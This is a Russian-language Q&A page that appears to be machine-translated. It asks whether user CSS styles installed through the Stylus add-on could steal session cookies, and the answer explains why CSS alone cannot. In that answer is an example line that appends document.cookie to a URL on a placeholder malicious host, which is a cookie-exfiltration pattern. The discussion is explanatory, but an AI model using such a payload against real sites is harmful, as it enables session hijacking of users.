Может ли пользовательский стиль css украсть печенье? - PullRequest
0 голосов
/ 28 октября 2018

Мне нравится дополнение для браузера Stylus, которое позволяет устанавливать пакеты стилей CSS по желанию пользователя.

Я смотрел это потрясающее видео о краже куки (Майк Паунд | Computerphile): https://www.youtube.com/watch?v=T1QEs3mdJoc

CSS может устанавливать фоновые изображения элементов, которые в противном случае не имели бы его (я написал одно, которое избавляется от фонового изображения там, где оно есть, и наоборот).

При просмотре видео доктор Паунд использует URL-адрес изображения (через неэкранированный HTML-код), который действительно выполняет PHP, который хочет получить файл cookie сеанса, а также возвращает данные изображения. В 11:19 он говорит, что сделка пытается обмануть браузер в отправке куки.

Мой вопрос: может ли пользовательский стиль (действительно динамически загружаемые правила CSS) быть вектором для кражи файлов cookie сеанса, устанавливая background любого элемента и предоставляя URL с кодом кражи сеанса PHP?

Если нет, то почему бы и нет? (Я полагаю, это как-то связано с политикой безопасности контента?)

Если это так, можно ли с ним бороться, не закрывая надстройки, которые выполняют динамическое внедрение CSS?

- Я скоро попытаюсь провести несколько собственных тестов и подумал, что сообщество хотело бы попробовать его хотя бы в качестве теоретического.

Не стесняйтесь понижать голос, если я задаю глупый вопрос, кнопка там.

1 Ответ

0 голосов
/ 28 октября 2018

Я ожидаю, что запрос на получение фонового изображения будет иметь собственный сеанс (и, возможно, файлы cookie) с сервером, на котором он включен.Так что куки там не крадут.

Вы можете, я полагаю, использовать javascript для отправки куки в качестве переменных запроса на сервер изображения (например, установив в URL что-то вроде 'http://some-malicious-site/image.php?cookie=' + document.cookie что-то).Тем не менее, я не вижу, как CSS может выполнить JavaScript, чтобы подготовить такой URL для этого.Возможно, надстройка стилуса для браузера может сделать это, но может быть заблокирована из-за исходных политик безопасности.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...